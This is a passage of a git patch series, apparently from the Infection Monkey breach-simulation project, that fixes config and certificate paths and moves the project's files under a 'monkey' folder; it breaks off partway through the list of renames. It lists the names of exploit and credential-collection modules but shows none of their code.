From f3742c67d0edaf6a1e245e8c866920406e17716b Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 23 May 2018 15:56:08 +0300 Subject: [PATCH 01/19] make monkey_island work with common folder --- __init__.py | 1 + infection_monkey/__init__.py | 1 + monkey_island/__init__.py | 1 + monkey_island/cc/environment/environment.py | 2 +- monkey_island/cc/main.py | 6 +++--- 5 files changed, 7 insertions(+), 4 deletions(-) create mode 100644 __init__.py create mode 100644 infection_monkey/__init__.py create mode 100644 monkey_island/__init__.py diff --git a/__init__.py b/__init__.py new file mode 100644 index 000000000..ee5b79ad0 --- /dev/null +++ b/__init__.py @@ -0,0 +1 @@ +__author__ = 'itay.mizeretz' diff --git a/infection_monkey/__init__.py b/infection_monkey/__init__.py new file mode 100644 index 000000000..ee5b79ad0 --- /dev/null +++ b/infection_monkey/__init__.py @@ -0,0 +1 @@ +__author__ = 'itay.mizeretz' diff --git a/monkey_island/__init__.py b/monkey_island/__init__.py new file mode 100644 index 000000000..ee5b79ad0 --- /dev/null +++ b/monkey_island/__init__.py @@ -0,0 +1 @@ +__author__ = 'itay.mizeretz' diff --git a/monkey_island/cc/environment/environment.py b/monkey_island/cc/environment/environment.py index 8eb97a999..0d21358ed 100644 --- a/monkey_island/cc/environment/environment.py +++ b/monkey_island/cc/environment/environment.py @@ -9,7 +9,7 @@ ENV_DICT = { def load_env_from_file(): - with open('server_config.json', 'r') as f: + with open('monkey_island/cc/server_config.json', 'r') as f: config_content = f.read() config_json = json.loads(config_content) return config_json['server_config'] diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index e0f6ab079..722009aa9 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -27,11 +27,11 @@ if __name__ == '__main__': app = init_app(mongo_url) if env.is_debug(): - app.run(host='0.0.0.0', debug=True, ssl_context=('server.crt', 'server.key')) + app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key')) else: http_server = HTTPServer(WSGIContainer(app), - ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'), - 'keyfile': os.environ.get('SERVER_KEY', 'server.key')}) + ssl_options={'certfile': os.environ.get('SERVER_CRT', 'monkey_island/cc/server.crt'), + 'keyfile': os.environ.get('SERVER_KEY', 'monkey_island/cc/server.key')}) http_server.listen(env.get_island_port()) print('Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) IOLoop.instance().start() From 0c6f9cb7c26c7f420df751689ac0598d86ba6035 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 23 May 2018 16:05:41 +0300 Subject: [PATCH 02/19] Move everything under monkey --- __init__.py => monkey/__init__.py | 0 {common => monkey/common}/__init__.py | 0 {common => monkey/common}/network/__init__.py | 0 {common => monkey/common}/network/network_range.py | 0 .../infection_monkey}/__init__.py | 0 .../infection_monkey}/build_linux.sh | 0 .../infection_monkey}/build_windows.bat | 0 .../infection_monkey}/config.py | 0 .../infection_monkey}/control.py | 0 .../infection_monkey}/dropper.py | 0 .../infection_monkey}/example.conf | 0 .../infection_monkey}/exploit/__init__.py | 0 .../infection_monkey}/exploit/elasticgroovy.py | 0 .../infection_monkey}/exploit/rdpgrinder.py | 0 .../infection_monkey}/exploit/sambacry.py | 0 .../infection_monkey}/exploit/shellshock.py | 0 .../exploit/shellshock_resources.py | 0 .../infection_monkey}/exploit/smbexec.py | 0 .../infection_monkey}/exploit/sshexec.py | 0 .../infection_monkey}/exploit/tools.py | 0 .../infection_monkey}/exploit/win_ms08_067.py | 0 .../infection_monkey}/exploit/wmiexec.py | 0 .../infection_monkey}/main.py | 0 .../infection_monkey}/model/__init__.py | 0 .../infection_monkey}/model/host.py | 0 .../infection_monkey}/monkey-linux.spec | 0 .../infection_monkey}/monkey.ico | Bin .../infection_monkey}/monkey.py | 0 .../infection_monkey}/monkey.spec | 0 .../monkey_utils/sambacry_monkey_runner/build.sh | 0 .../sambacry_monkey_runner/sc_monkey_runner.c | 0 .../sambacry_monkey_runner/sc_monkey_runner.h | 0 .../infection_monkey}/monkeyfs.py | 0 .../infection_monkey}/network/__init__.py | 0 .../infection_monkey}/network/elasticfinger.py | 0 .../infection_monkey}/network/firewall.py | 0 .../infection_monkey}/network/httpfinger.py | 0 .../infection_monkey}/network/info.py | 0 .../infection_monkey}/network/mysqlfinger.py | 0 .../infection_monkey}/network/network_scanner.py | 0 .../infection_monkey}/network/ping_scanner.py | 0 .../infection_monkey}/network/smbfinger.py | 0 .../infection_monkey}/network/sshfinger.py | 0 .../infection_monkey}/network/tcp_scanner.py | 0 .../infection_monkey}/network/tools.py | 0 .../infection_monkey}/readme.txt | 0 .../infection_monkey}/requirements.txt | 0 .../infection_monkey}/system_info/__init__.py | 0 .../system_info/azure_cred_collector.py | 0 .../system_info/linux_info_collector.py | 0 .../system_info/mimikatz_collector.py | 0 .../system_info/windows_info_collector.py | 0 .../infection_monkey}/system_singleton.py | 0 .../infection_monkey}/test/__init__.py | 0 .../infection_monkey}/test/config__test.py | 0 .../infection_monkey}/transport/__init__.py | 0 .../infection_monkey}/transport/base.py | 0 .../infection_monkey}/transport/ftp.py | 0 .../infection_monkey}/transport/http.py | 0 .../infection_monkey}/transport/tcp.py | 0 .../infection_monkey}/tunnel.py | 0 .../infection_monkey}/utils.py | 0 .../infection_monkey}/windows_upgrader.py | 0 {monkey_island => monkey/monkey_island}/__init__.py | 0 .../monkey_island}/cc/__init__.py | 0 {monkey_island => monkey/monkey_island}/cc/app.py | 0 {monkey_island => monkey/monkey_island}/cc/auth.py | 0 .../monkey_island}/cc/binaries/.gitignore | 0 .../monkey_island}/cc/database.py | 0 .../monkey_island}/cc/encryptor.py | 0 .../monkey_island}/cc/environment/__init__.py | 0 .../monkey_island}/cc/environment/aws.py | 0 .../monkey_island}/cc/environment/environment.py | 0 .../monkey_island}/cc/environment/standard.py | 0 {monkey_island => monkey/monkey_island}/cc/main.py | 0 .../monkey_island}/cc/resources/__init__.py | 0 .../monkey_island}/cc/resources/client_run.py | 0 .../monkey_island}/cc/resources/edge.py | 0 .../monkey_island}/cc/resources/local_run.py | 0 .../monkey_island}/cc/resources/log.py | 0 .../monkey_island}/cc/resources/monkey.py | 0 .../cc/resources/monkey_configuration.py | 0 .../monkey_island}/cc/resources/monkey_download.py | 0 .../monkey_island}/cc/resources/netmap.py | 0 .../monkey_island}/cc/resources/node.py | 0 .../monkey_island}/cc/resources/report.py | 0 .../monkey_island}/cc/resources/root.py | 0 .../monkey_island}/cc/resources/telemetry.py | 0 .../monkey_island}/cc/resources/telemetry_feed.py | 0 .../monkey_island}/cc/server_config.json | 0 .../monkey_island}/cc/services/__init__.py | 0 .../monkey_island}/cc/services/config.py | 0 .../monkey_island}/cc/services/edge.py | 0 .../monkey_island}/cc/services/log.py | 0 .../monkey_island}/cc/services/node.py | 0 .../monkey_island}/cc/services/report.py | 0 .../monkey_island}/cc/ui/.babelrc | 0 .../monkey_island}/cc/ui/.editorconfig | 0 .../monkey_island}/cc/ui/.eslintrc | 0 .../monkey_island}/cc/ui/.gitignore | 0 .../monkey_island}/cc/ui/.yo-rc.json | 0 .../monkey_island}/cc/ui/cfg/base.js | 0 .../monkey_island}/cc/ui/cfg/defaults.js | 0 .../monkey_island}/cc/ui/cfg/dev.js | 0 .../monkey_island}/cc/ui/cfg/dist.js | 0 .../monkey_island}/cc/ui/cfg/test.js | 0 .../monkey_island}/cc/ui/karma.conf.js | 0 .../monkey_island}/cc/ui/package-lock.json | 0 .../monkey_island}/cc/ui/package.json | 0 .../monkey_island}/cc/ui/server.js | 0 .../cc/ui/src/components/AuthComponent.js | 0 .../monkey_island}/cc/ui/src/components/Main.js | 0 .../cc/ui/src/components/map/MapOptions.js | 0 .../src/components/map/preview-pane/PreviewPane.js | 0 .../cc/ui/src/components/pages/ConfigurePage.js | 0 .../cc/ui/src/components/pages/LicensePage.js | 0 .../cc/ui/src/components/pages/LoginPage.js | 0 .../cc/ui/src/components/pages/MapPage.js | 0 .../cc/ui/src/components/pages/ReportPage.js | 0 .../cc/ui/src/components/pages/RunMonkeyPage.js | 0 .../cc/ui/src/components/pages/RunServerPage.js | 0 .../cc/ui/src/components/pages/StartOverPage.js | 0 .../cc/ui/src/components/pages/TelemetryPage.js | 0 .../src/components/reactive-graph/ReactiveGraph.js | 0 .../components/report-components/BreachedServers.js | 0 .../components/report-components/CollapsibleWell.js | 0 .../components/report-components/ScannedServers.js | 0 .../components/report-components/StolenPasswords.js | 0 .../monkey_island}/cc/ui/src/config/README.md | 0 .../monkey_island}/cc/ui/src/config/base.js | 0 .../monkey_island}/cc/ui/src/config/dev.js | 0 .../monkey_island}/cc/ui/src/config/dist.js | 0 .../monkey_island}/cc/ui/src/config/test.js | 0 .../monkey_island}/cc/ui/src/favicon.ico | Bin .../cc/ui/src/images/guardicore-logo.png | Bin .../cc/ui/src/images/infection-monkey.svg | 0 .../monkey_island}/cc/ui/src/images/monkey-icon.svg | 0 .../cc/ui/src/images/nodes/clean_linux.png | Bin .../cc/ui/src/images/nodes/clean_unknown.png | Bin .../cc/ui/src/images/nodes/clean_windows.png | Bin .../cc/ui/src/images/nodes/exploited_linux.png | Bin .../cc/ui/src/images/nodes/exploited_windows.png | Bin .../cc/ui/src/images/nodes/island.png | Bin .../cc/ui/src/images/nodes/island_monkey_linux.png | Bin .../images/nodes/island_monkey_linux_running.png | Bin .../ui/src/images/nodes/island_monkey_windows.png | Bin .../images/nodes/island_monkey_windows_running.png | Bin .../cc/ui/src/images/nodes/manual_linux.png | Bin .../cc/ui/src/images/nodes/manual_linux_running.png | Bin .../cc/ui/src/images/nodes/manual_windows.png | Bin .../ui/src/images/nodes/manual_windows_running.png | Bin .../cc/ui/src/images/nodes/monkey_linux.png | Bin .../cc/ui/src/images/nodes/monkey_linux_running.png | Bin .../cc/ui/src/images/nodes/monkey_windows.png | Bin .../ui/src/images/nodes/monkey_windows_running.png | Bin .../monkey_island}/cc/ui/src/index.html | 0 .../monkey_island}/cc/ui/src/index.js | 0 .../cc/ui/src/server_config/AwsConfig.js | 0 .../cc/ui/src/server_config/BaseConfig.js | 0 .../cc/ui/src/server_config/ServerConfig.js | 0 .../cc/ui/src/server_config/StandardConfig.js | 0 .../cc/ui/src/services/AuthService.js | 0 .../monkey_island}/cc/ui/src/styles/App.css | 0 .../monkey_island}/cc/ui/webpack.config.js | 0 {monkey_island => monkey/monkey_island}/cc/utils.py | 0 .../monkey_island}/deb-package/DEBIAN/control | 0 .../monkey_island}/deb-package/DEBIAN/postinst | 0 .../monkey_island}/deb-package/DEBIAN/prerm | 0 .../deb-package/monkey_island_pip_requirements.txt | 0 .../monkey_island}/linux/clear_db.sh | 0 .../monkey_island}/linux/create_certificate.sh | 0 .../monkey_island}/linux/install.sh | 0 .../monkey_island}/linux/monkey.sh | 0 .../monkey_island}/linux/run.sh | 0 .../monkey_island}/linux/ubuntu/monkey-island.conf | 0 .../monkey_island}/linux/ubuntu/monkey-mongo.conf | 0 .../linux/ubuntu/systemd/monkey-island.service | 0 .../linux/ubuntu/systemd/monkey-mongo.service | 0 .../linux/ubuntu/systemd/start_server.sh | 0 {monkey_island => monkey/monkey_island}/readme.txt | 0 .../monkey_island}/requirements.txt | 0 .../monkey_island}/windows/clear_db.bat | 0 .../windows/copyShortcutOnDesktop.bat | 0 .../monkey_island}/windows/create_certificate.bat | 0 .../monkey_island}/windows/openssl.cfg | 0 .../windows/removeShortcutFromDesktop.bat | 0 .../monkey_island}/windows/run_cc.bat | 0 .../monkey_island}/windows/run_mongodb.bat | 0 .../monkey_island}/windows/run_server.bat | 0 189 files changed, 0 insertions(+), 0 deletions(-) rename __init__.py => monkey/__init__.py (100%) rename {common => monkey/common}/__init__.py (100%) rename {common => monkey/common}/network/__init__.py (100%) rename {common => monkey/common}/network/network_range.py (100%) rename {infection_monkey => monkey/infection_monkey}/__init__.py (100%) rename {infection_monkey => monkey/infection_monkey}/build_linux.sh (100%) rename {infection_monkey => monkey/infection_monkey}/build_windows.bat (100%) rename {infection_monkey => monkey/infection_monkey}/config.py (100%) rename {infection_monkey => monkey/infection_monkey}/control.py (100%) rename {infection_monkey => monkey/infection_monkey}/dropper.py (100%) rename {infection_monkey => monkey/infection_monkey}/example.conf (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/__init__.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/elasticgroovy.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/rdpgrinder.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/sambacry.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/shellshock.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/shellshock_resources.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/smbexec.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/sshexec.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/tools.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/win_ms08_067.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/wmiexec.py (100%) rename {infection_monkey => monkey/infection_monkey}/main.py (100%) rename {infection_monkey => monkey/infection_monkey}/model/__init__.py (100%) rename {infection_monkey => monkey/infection_monkey}/model/host.py (100%) rename {infection_monkey => monkey/infection_monkey}/monkey-linux.spec (100%) rename {infection_monkey => monkey/infection_monkey}/monkey.ico (100%) rename {infection_monkey => monkey/infection_monkey}/monkey.py (100%) rename {infection_monkey => monkey/infection_monkey}/monkey.spec (100%) rename {infection_monkey => monkey/infection_monkey}/monkey_utils/sambacry_monkey_runner/build.sh (100%) rename {infection_monkey => monkey/infection_monkey}/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c (100%) rename {infection_monkey => monkey/infection_monkey}/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h (100%) rename {infection_monkey => monkey/infection_monkey}/monkeyfs.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/__init__.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/elasticfinger.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/firewall.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/httpfinger.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/info.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/mysqlfinger.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/network_scanner.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/ping_scanner.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/smbfinger.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/sshfinger.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/tcp_scanner.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/tools.py (100%) rename {infection_monkey => monkey/infection_monkey}/readme.txt (100%) rename {infection_monkey => monkey/infection_monkey}/requirements.txt (100%) rename {infection_monkey => monkey/infection_monkey}/system_info/__init__.py (100%) rename {infection_monkey => monkey/infection_monkey}/system_info/azure_cred_collector.py (100%) rename {infection_monkey => monkey/infection_monkey}/system_info/linux_info_collector.py (100%) rename {infection_monkey => monkey/infection_monkey}/system_info/mimikatz_collector.py (100%) rename {infection_monkey => monkey/infection_monkey}/system_info/windows_info_collector.py (100%) rename {infection_monkey => monkey/infection_monkey}/system_singleton.py (100%) rename {infection_monkey => monkey/infection_monkey}/test/__init__.py (100%) rename {infection_monkey => monkey/infection_monkey}/test/config__test.py (100%) rename {infection_monkey => monkey/infection_monkey}/transport/__init__.py (100%) rename {infection_monkey => monkey/infection_monkey}/transport/base.py (100%) rename {infection_monkey => monkey/infection_monkey}/transport/ftp.py (100%) rename {infection_monkey => monkey/infection_monkey}/transport/http.py (100%) rename {infection_monkey => monkey/infection_monkey}/transport/tcp.py (100%) rename {infection_monkey => monkey/infection_monkey}/tunnel.py (100%) rename {infection_monkey => monkey/infection_monkey}/utils.py (100%) rename {infection_monkey => monkey/infection_monkey}/windows_upgrader.py (100%) rename {monkey_island => monkey/monkey_island}/__init__.py (100%) rename {monkey_island => monkey/monkey_island}/cc/__init__.py (100%) rename {monkey_island => monkey/monkey_island}/cc/app.py (100%) rename {monkey_island => monkey/monkey_island}/cc/auth.py (100%) rename {monkey_island => monkey/monkey_island}/cc/binaries/.gitignore (100%) rename {monkey_island => monkey/monkey_island}/cc/database.py (100%) rename {monkey_island => monkey/monkey_island}/cc/encryptor.py (100%) rename {monkey_island => monkey/monkey_island}/cc/environment/__init__.py (100%) rename {monkey_island => monkey/monkey_island}/cc/environment/aws.py (100%) rename {monkey_island => monkey/monkey_island}/cc/environment/environment.py (100%) rename {monkey_island => monkey/monkey_island}/cc/environment/standard.py (100%) rename {monkey_island => monkey/monkey_island}/cc/main.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/__init__.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/client_run.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/edge.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/local_run.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/log.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/monkey.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/monkey_configuration.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/monkey_download.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/netmap.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/node.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/report.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/root.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/telemetry.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/telemetry_feed.py (100%) rename {monkey_island => monkey/monkey_island}/cc/server_config.json (100%) rename {monkey_island => monkey/monkey_island}/cc/services/__init__.py (100%) rename {monkey_island => monkey/monkey_island}/cc/services/config.py (100%) rename {monkey_island => monkey/monkey_island}/cc/services/edge.py (100%) rename {monkey_island => monkey/monkey_island}/cc/services/log.py (100%) rename {monkey_island => monkey/monkey_island}/cc/services/node.py (100%) rename {monkey_island => monkey/monkey_island}/cc/services/report.py (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/.babelrc (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/.editorconfig (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/.eslintrc (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/.gitignore (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/.yo-rc.json (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/cfg/base.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/cfg/defaults.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/cfg/dev.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/cfg/dist.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/cfg/test.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/karma.conf.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/package-lock.json (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/package.json (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/server.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/AuthComponent.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/Main.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/map/MapOptions.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/map/preview-pane/PreviewPane.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/ConfigurePage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/LicensePage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/LoginPage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/MapPage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/ReportPage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/RunMonkeyPage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/RunServerPage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/StartOverPage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/TelemetryPage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/reactive-graph/ReactiveGraph.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/report-components/BreachedServers.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/report-components/CollapsibleWell.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/report-components/ScannedServers.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/report-components/StolenPasswords.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/config/README.md (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/config/base.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/config/dev.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/config/dist.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/config/test.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/favicon.ico (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/guardicore-logo.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/infection-monkey.svg (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/monkey-icon.svg (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/clean_linux.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/clean_unknown.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/clean_windows.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/exploited_linux.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/exploited_windows.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/island.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/island_monkey_linux.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/island_monkey_linux_running.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/island_monkey_windows.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/island_monkey_windows_running.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/manual_linux.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/manual_linux_running.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/manual_windows.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/manual_windows_running.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/monkey_linux.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/monkey_linux_running.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/monkey_windows.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/monkey_windows_running.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/index.html (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/index.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/server_config/AwsConfig.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/server_config/BaseConfig.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/server_config/ServerConfig.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/server_config/StandardConfig.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/services/AuthService.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/styles/App.css (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/webpack.config.js (100%) rename {monkey_island => monkey/monkey_island}/cc/utils.py (100%) rename {monkey_island => monkey/monkey_island}/deb-package/DEBIAN/control (100%) rename {monkey_island => monkey/monkey_island}/deb-package/DEBIAN/postinst (100%) rename {monkey_island => monkey/monkey_island}/deb-package/DEBIAN/prerm (100%) rename {monkey_island => monkey/monkey_island}/deb-package/monkey_island_pip_requirements.txt (100%) rename {monkey_island => monkey/monkey_island}/linux/clear_db.sh (100%) rename {monkey_island => monkey/monkey_island}/linux/create_certificate.sh (100%) rename {monkey_island => monkey/monkey_island}/linux/install.sh (100%) rename {monkey_island => monkey/monkey_island}/linux/monkey.sh (100%) rename {monkey_island => monkey/monkey_island}/linux/run.sh (100%) rename {monkey_island => monkey/monkey_island}/linux/ubuntu/monkey-island.conf (100%) rename {monkey_island => monkey/monkey_island}/linux/ubuntu/monkey-mongo.conf (100%) rename {monkey_island => monkey/monkey_island}/linux/ubuntu/systemd/monkey-island.service (100%) rename {monkey_island => monkey/monkey_island}/linux/ubuntu/systemd/monkey-mongo.service (100%) rename {monkey_island => monkey/monkey_island}/linux/ubuntu/systemd/start_server.sh (100%) rename {monkey_island => monkey/monkey_island}/readme.txt (100%) rename {monkey_island => monkey/monkey_island}/requirements.txt (100%) rename {monkey_island => monkey/monkey_island}/windows/clear_db.bat (100%) rename {monkey_island => monkey/monkey_island}/windows/copyShortcutOnDesktop.bat (100%) rename {monkey_island => monkey/monkey_island}/windows/create_certificate.bat (100%) rename {monkey_island => monkey/monkey_island}/windows/openssl.cfg (100%) rename {monkey_island => monkey/monkey_island}/windows/removeShortcutFromDesktop.bat (100%) rename {monkey_island => monkey/monkey_island}/windows/run_cc.bat (100%) rename {monkey_island => monkey/monkey_island}/windows/run_mongodb.bat (100%) rename {monkey_island => monkey/monkey_island}/windows/run_server.bat (100%) diff --git a/__init__.py b/monkey/__init__.py similarity index 100% rename from __init__.py rename to monkey/__init__.py diff --git a/common/__init__.py b/monkey/common/__init__.py similarity index 100% rename from common/__init__.py rename to monkey/common/__init__.py diff --git a/common/network/__init__.py b/monkey/common/network/__init__.py similarity index 100% rename from common/network/__init__.py rename to monkey/common/network/__init__.py diff --git a/common/network/network_range.py b/monkey/common/network/network_range.py similarity index 100% rename from common/network/network_range.py rename to monkey/common/network/network_range.py diff --git a/infection_monkey/__init__.py b/monkey/infection_monkey/__init__.py similarity index 100% rename from infection_monkey/__init__.py rename to monkey/infection_monkey/__init__.py diff --git a/infection_monkey/build_linux.sh b/monkey/infection_monkey/build_linux.sh similarity index 100% rename from infection_monkey/build_linux.sh rename to monkey/infection_monkey/build_linux.sh diff --git a/infection_monkey/build_windows.bat b/monkey/infection_monkey/build_windows.bat similarity index 100% rename from infection_monkey/build_windows.bat rename to monkey/infection_monkey/build_windows.bat diff --git a/infection_monkey/config.py b/monkey/infection_monkey/config.py similarity index 100% rename from infection_monkey/config.py rename to monkey/infection_monkey/config.py diff --git a/infection_monkey/control.py b/monkey/infection_monkey/control.py similarity index 100% rename from infection_monkey/control.py rename to monkey/infection_monkey/control.py diff --git a/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py similarity index 100% rename from infection_monkey/dropper.py rename to monkey/infection_monkey/dropper.py diff --git a/infection_monkey/example.conf b/monkey/infection_monkey/example.conf similarity index 100% rename from infection_monkey/example.conf rename to monkey/infection_monkey/example.conf diff --git a/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py similarity index 100% rename from infection_monkey/exploit/__init__.py rename to monkey/infection_monkey/exploit/__init__.py diff --git a/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py similarity index 100% rename from infection_monkey/exploit/elasticgroovy.py rename to monkey/infection_monkey/exploit/elasticgroovy.py diff --git a/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py similarity index 100% rename from infection_monkey/exploit/rdpgrinder.py rename to monkey/infection_monkey/exploit/rdpgrinder.py diff --git a/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py similarity index 100% rename from infection_monkey/exploit/sambacry.py rename to monkey/infection_monkey/exploit/sambacry.py diff --git a/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py similarity index 100% rename from infection_monkey/exploit/shellshock.py rename to monkey/infection_monkey/exploit/shellshock.py diff --git a/infection_monkey/exploit/shellshock_resources.py b/monkey/infection_monkey/exploit/shellshock_resources.py similarity index 100% rename from infection_monkey/exploit/shellshock_resources.py rename to monkey/infection_monkey/exploit/shellshock_resources.py diff --git a/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py similarity index 100% rename from infection_monkey/exploit/smbexec.py rename to monkey/infection_monkey/exploit/smbexec.py diff --git a/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py similarity index 100% rename from infection_monkey/exploit/sshexec.py rename to monkey/infection_monkey/exploit/sshexec.py diff --git a/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py similarity index 100% rename from infection_monkey/exploit/tools.py rename to monkey/infection_monkey/exploit/tools.py diff --git a/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py similarity index 100% rename from infection_monkey/exploit/win_ms08_067.py rename to monkey/infection_monkey/exploit/win_ms08_067.py diff --git a/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py similarity index 100% rename from infection_monkey/exploit/wmiexec.py rename to monkey/infection_monkey/exploit/wmiexec.py diff --git a/infection_monkey/main.py b/monkey/infection_monkey/main.py similarity index 100% rename from infection_monkey/main.py rename to monkey/infection_monkey/main.py diff --git a/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py similarity index 100% rename from infection_monkey/model/__init__.py rename to 